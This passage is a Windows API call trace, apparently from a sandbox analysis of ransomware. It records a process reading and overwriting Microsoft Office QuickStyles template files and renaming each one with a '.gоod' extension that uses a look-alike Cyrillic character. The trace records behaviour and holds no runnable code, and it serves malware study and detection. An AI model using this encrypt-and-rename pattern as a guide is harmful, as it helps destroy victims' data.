office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.744] GetFileType (hFile=0x834) returned 0x1 [0269.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.744] GetFileType (hFile=0x834) returned 0x1 [0269.744] WriteFile (in: hFile=0x834, lpBuffer=0x3772a58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3772a58*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0269.744] CloseHandle (hObject=0x834) returned 1 [0269.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx", lpFilePart=0x0) returned 0x50 [0269.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.gоod", lpFilePart=0x0) returned 0x55 [0269.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0269.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9cfe2d39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3446)) returned 1 [0269.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0269.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwnumbered.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwnumbered.dotx.gоod")) returned 1 [0269.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0269.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0269.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), fInfoLevelId=0x0, lpFileInformation=0x37a5800 | out: lpFileInformation=0x37a5800*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f7b)) returned 1 [0269.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0269.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0269.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.747] GetFileType (hFile=0x834) returned 0x1 [0269.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.748] GetFileType (hFile=0x834) returned 0x1 [0269.748] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0269.748] ReadFile (in: hFile=0x834, lpBuffer=0x37a5c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x37a5c28*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0269.748] CloseHandle (hObject=0x834) returned 1 [0269.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0269.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.749] GetFileType (hFile=0x834) returned 0x1 [0269.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.749] GetFileType (hFile=0x834) returned 0x1 [0269.749] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f7b [0269.749] WriteFile (in: hFile=0x834, lpBuffer=0x37a6ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x37a6ec8*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0269.750] CloseHandle (hObject=0x834) returned 1 [0269.750] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0269.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0269.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0269.750] GetFileType (hFile=0x834) returned 0x1 [0269.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0269.750] GetFileType (hFile=0x834) returned 0x1 [0269.750] ReadFile (in: hFile=0x834, lpBuffer=0x37a9190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x37a9190*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0270.279] CloseHandle (hObject=0x834) returned 1 [0270.279] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0270.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.279] GetFileType (hFile=0x834) returned 0x1 [0270.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.280] GetFileType (hFile=0x834) returned 0x1 [0270.280] WriteFile (in: hFile=0x834, lpBuffer=0x3767ca8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3767ca8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0270.280] CloseHandle (hObject=0x834) returned 1 [0270.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx", lpFilePart=0x0) returned 0x4c [0270.280] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.gоod", lpFilePart=0x0) returned 0x51 [0270.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0270.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d4f3bd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f8b)) returned 1 [0270.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0270.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\casual.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\casual.dotx.gоod")) returned 1 [0270.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0270.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3a22bc0 | out: lpFileInformation=0x3a22bc0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f84)) returned 1 [0270.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0270.281] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.282] GetFileType (hFile=0x834) returned 0x1 [0270.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.282] GetFileType (hFile=0x834) returned 0x1 [0270.282] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0270.282] ReadFile (in: hFile=0x834, lpBuffer=0x3a22ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x3a22ff8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0270.327] CloseHandle (hObject=0x834) returned 1 [0270.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.327] GetFileType (hFile=0x834) returned 0x1 [0270.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.327] GetFileType (hFile=0x834) returned 0x1 [0270.327] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f84 [0270.327] WriteFile (in: hFile=0x834, lpBuffer=0x3a242a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3a242a0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0270.328] CloseHandle (hObject=0x834) returned 1 [0270.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.328] GetFileType (hFile=0x834) returned 0x1 [0270.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.329] GetFileType (hFile=0x834) returned 0x1 [0270.329] ReadFile (in: hFile=0x834, lpBuffer=0x3a26570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3a26570*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0270.483] CloseHandle (hObject=0x834) returned 1 [0270.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.483] GetFileType (hFile=0x834) returned 0x1 [0270.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.483] GetFileType (hFile=0x834) returned 0x1 [0270.483] WriteFile (in: hFile=0x834, lpBuffer=0x37a1db8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x37a1db8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0270.483] CloseHandle (hObject=0x834) returned 1 [0270.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", lpFilePart=0x0) returned 0x4e [0270.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.gоod", lpFilePart=0x0) returned 0x53 [0270.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0270.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d6e3920, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f94)) returned 1 [0270.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0270.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx.gоod")) returned 1 [0270.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", lpFilePart=0x0) returned 0x4d [0270.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0270.485] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3881f70 | out: lpFileInformation=0x3881f70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2387)) returned 1 [0270.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0270.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", lpFilePart=0x0) returned 0x4d [0270.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.488] GetFileType (hFile=0x834) returned 0x1 [0270.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.488] GetFileType (hFile=0x834) returned 0x1 [0270.488] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0270.489] ReadFile (in: hFile=0x834, lpBuffer=0x38823a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x38823a8*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0270.491] CloseHandle (hObject=0x834) returned 1 [0270.491] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", lpFilePart=0x0) returned 0x4d [0270.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.491] GetFileType (hFile=0x834) returned 0x1 [0270.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.491] GetFileType (hFile=0x834) returned 0x1 [0270.491] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2387 [0270.491] WriteFile (in: hFile=0x834, lpBuffer=0x3884ae0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x3884ae0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0270.493] CloseHandle (hObject=0x834) returned 1 [0270.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", lpFilePart=0x0) returned 0x4d [0270.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.493] GetFileType (hFile=0x834) returned 0x1 [0270.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.493] GetFileType (hFile=0x834) returned 0x1 [0270.493] ReadFile (in: hFile=0x834, lpBuffer=0x3887358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x3887358*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0270.744] CloseHandle (hObject=0x834) returned 1 [0270.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", lpFilePart=0x0) returned 0x4d [0270.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.745] GetFileType (hFile=0x834) returned 0x1 [0270.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.745] GetFileType (hFile=0x834) returned 0x1 [0270.745] WriteFile (in: hFile=0x834, lpBuffer=0x37ab9e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x37ab9e0*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0270.745] CloseHandle (hObject=0x834) returned 1 [0270.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", 